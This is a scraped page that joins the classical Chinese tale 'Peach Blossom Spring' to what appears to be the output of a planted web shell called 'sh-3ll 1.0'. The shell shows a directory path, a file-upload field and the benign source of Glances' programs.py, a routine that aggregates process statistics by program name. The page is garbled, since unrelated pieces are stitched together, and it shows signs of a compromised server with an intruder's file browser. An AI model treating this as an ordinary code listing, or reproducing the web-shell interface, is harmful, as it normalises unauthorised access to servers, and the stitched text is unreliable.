晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/lib/python3.9/site-packages/glances/
Upload File :
Current File : //lib/python3.9/site-packages/glances/programs.py
# -*- coding: utf-8 -*-
#
# This file is part of Glances.
#
# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>
#
# SPDX-License-Identifier: LGPL-3.0-only
#

# from glances.logger import logger

# This constant defines the list of available processes sort key
sort_programs_key_list = ['cpu_percent', 'memory_percent', 'cpu_times', 'io_counters', 'name']


def processes_to_programs(processes):
    """Convert a list of processes to a list of programs."""
    # Start to build a dict of programs (key is program name)
    programs_dict = {}
    key = 'name'
    for p in processes:
        if p[key] not in programs_dict:
            # Create a new entry in the dict (new program)
            programs_dict[p[key]] = {
                'time_since_update': p['time_since_update'],
                # some values can be None, e.g. macOS system processes
                'num_threads': p['num_threads'] or 0,
                'cpu_percent': p['cpu_percent'] or 0,
                'memory_percent': p['memory_percent'] or 0,
                'cpu_times': p['cpu_times'] or (),
                'memory_info': p['memory_info'] or (),
                'io_counters': p['io_counters'] or (),
                'childrens': [p['pid']],
                # Others keys are not used
                # but should be set to be compliant with the existing process_list
                'name': p['name'],
                'cmdline': [p['name']],
                'pid': '_',
                'username': p['username'] if 'username' in p else '_',
                'nice': p['nice'],
                'status': p['status'],
            }
        else:
            # Update a existing entry in the dict (existing program)
            # some values can be None, e.g. macOS system processes
            programs_dict[p[key]]['num_threads'] += p['num_threads'] or 0
            programs_dict[p[key]]['cpu_percent'] += p['cpu_percent'] or 0
            programs_dict[p[key]]['memory_percent'] += p['memory_percent'] or 0
            programs_dict[p[key]]['cpu_times'] += p['cpu_times'] or ()
            programs_dict[p[key]]['memory_info'] += p['memory_info'] or ()

            programs_dict[p[key]]['io_counters'] += p['io_counters']
            programs_dict[p[key]]['childrens'].append(p['pid'])
            # If all the subprocess has the same value, display it
            programs_dict[p[key]]['username'] = (
                p['username'] if ('username' in p) and (p['username'] == programs_dict[p[key]]['username']) else '_'
            )
            programs_dict[p[key]]['nice'] = p['nice'] if p['nice'] == programs_dict[p[key]]['nice'] else '_'
            programs_dict[p[key]]['status'] = p['status'] if p['status'] == programs_dict[p[key]]['status'] else '_'

    # Convert the dict to a list of programs
    return [programs_dict[p] for p in programs_dict]